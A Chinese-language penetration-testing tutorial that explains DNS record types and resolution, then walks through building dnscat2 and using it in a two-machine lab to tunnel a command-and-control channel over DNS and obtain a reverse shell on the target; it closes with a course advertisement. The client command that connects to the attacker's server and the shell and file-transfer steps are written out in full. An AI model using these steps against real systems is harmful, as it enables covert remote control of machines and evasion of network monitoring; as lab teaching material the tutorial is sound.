DNS介绍
DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。
A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。
AAAA记录:记录将域名解析到一个指定的ipv6的ip上
CNAME记录:别名解析。可以将注册不同的域名解析到一个ip地址。
NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。
MX记录:指向的是一个邮件服务器。
TXT记录:一般是指某个主机名或域名的说明
PTR记录:反向DNS
DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。
本地客户端---->Local DNS server---->根域服务器
Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。
Dnscat2工具介绍
Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。
使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
·直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
·中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢
如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来
环境搭建
攻击机/服务端
kali/2024
192.168.227.128
靶机/客户端
kali/2023
192.168.227.130
linux服务端搭建
git clone https://github.com/iagox86/dnscat2.git 下载dnscat2工具
cd dnscat2/server/ 进入server目录,因为我们这里是搭建服务端
gem install bundler
gem install bundler 是一个在 Ruby 环境中使用的命令,用于安装 Bundler 这个 gem(gem 是 Ruby 的包管理器)Bundler 是一个帮助管理 Ruby 项目依赖的工具,它可以确保你的项目在不同的环境中使用相同版本的 gems
apt-get install ruby-dev
ruby-dev 包包含了 Ruby 的头文件和静态库,这对于编译和安装需要构建本地扩展的 Ruby gems 是必需的
bundle install
在 Ruby 项目中,当你看到 bundle install 命令时,它通常用于安装项目所需的依赖包。这个命令是 Bundler 这个 Ruby gem 的一部分,Bundler 是一个管理 Ruby 项目依赖的工具
linux客户端搭建
$ git clone https://github.com/iagox86/dnscat2 /*下载工具*/
$ cd dnscat2/client/ /*进入目录*/
$ make /*使用makefile来编译客户端*/
Dnscat2反弹shell
1.首先在服务端运行
ruby ./dnscat2.rb
红色方框中的这段复制到客户机上,记得把IP换成服务端IP:
这里就是192.168.227.128(kali2024的ip)
./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256
客户端操作
./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256
服务端反馈及操作
windows 列出所有隧道
当前建立好了一条隧道
window -i 1 连接客户端1通道 1表示隧道建立的窗口号
隧道内的操作命令
help可查看控制台支持的命令,常用的有:
quit (退出控制台)
kill (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i (连接某个通道)
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)
exit(退出dnscat2)
反弹shell
在当前隧道内输入shell就会创建一个会话回来
shell
ctrl+z返回到上一层
然后我们需要进入这个会话
window -i 6
查看ip
总结
大致步骤就是:
进入服务端的目录下:安装Bundler 这个帮助管理 Ruby 项目依赖的工具-->安装Ruby 开发包-->安装Bundler 项目所需的依赖包
进入客户端的目录下:make(这个命令会尝试使用 Makefile(如果存在的话)来编译客户端。Makefile 是一个脚本,它告诉 make 命令如何编译和链接程序。)
启动服务端(ruby ./dnscat2.rb)将里面的连接代码去客户端运行(默认端口为53)
隧道建立好以后help有一些后续操作,反弹shell直接输入shell就行了
ctrl+z返回到dnscat2界面输入windows查看所有通道,然后进入window -i id反弹回来的shell会话
然后就可以正常执行命令操作目标机器了
零基础学习渗透测试扫码咨询
微信:Live_91025
添加阿一咨询课程
点个在看你最好看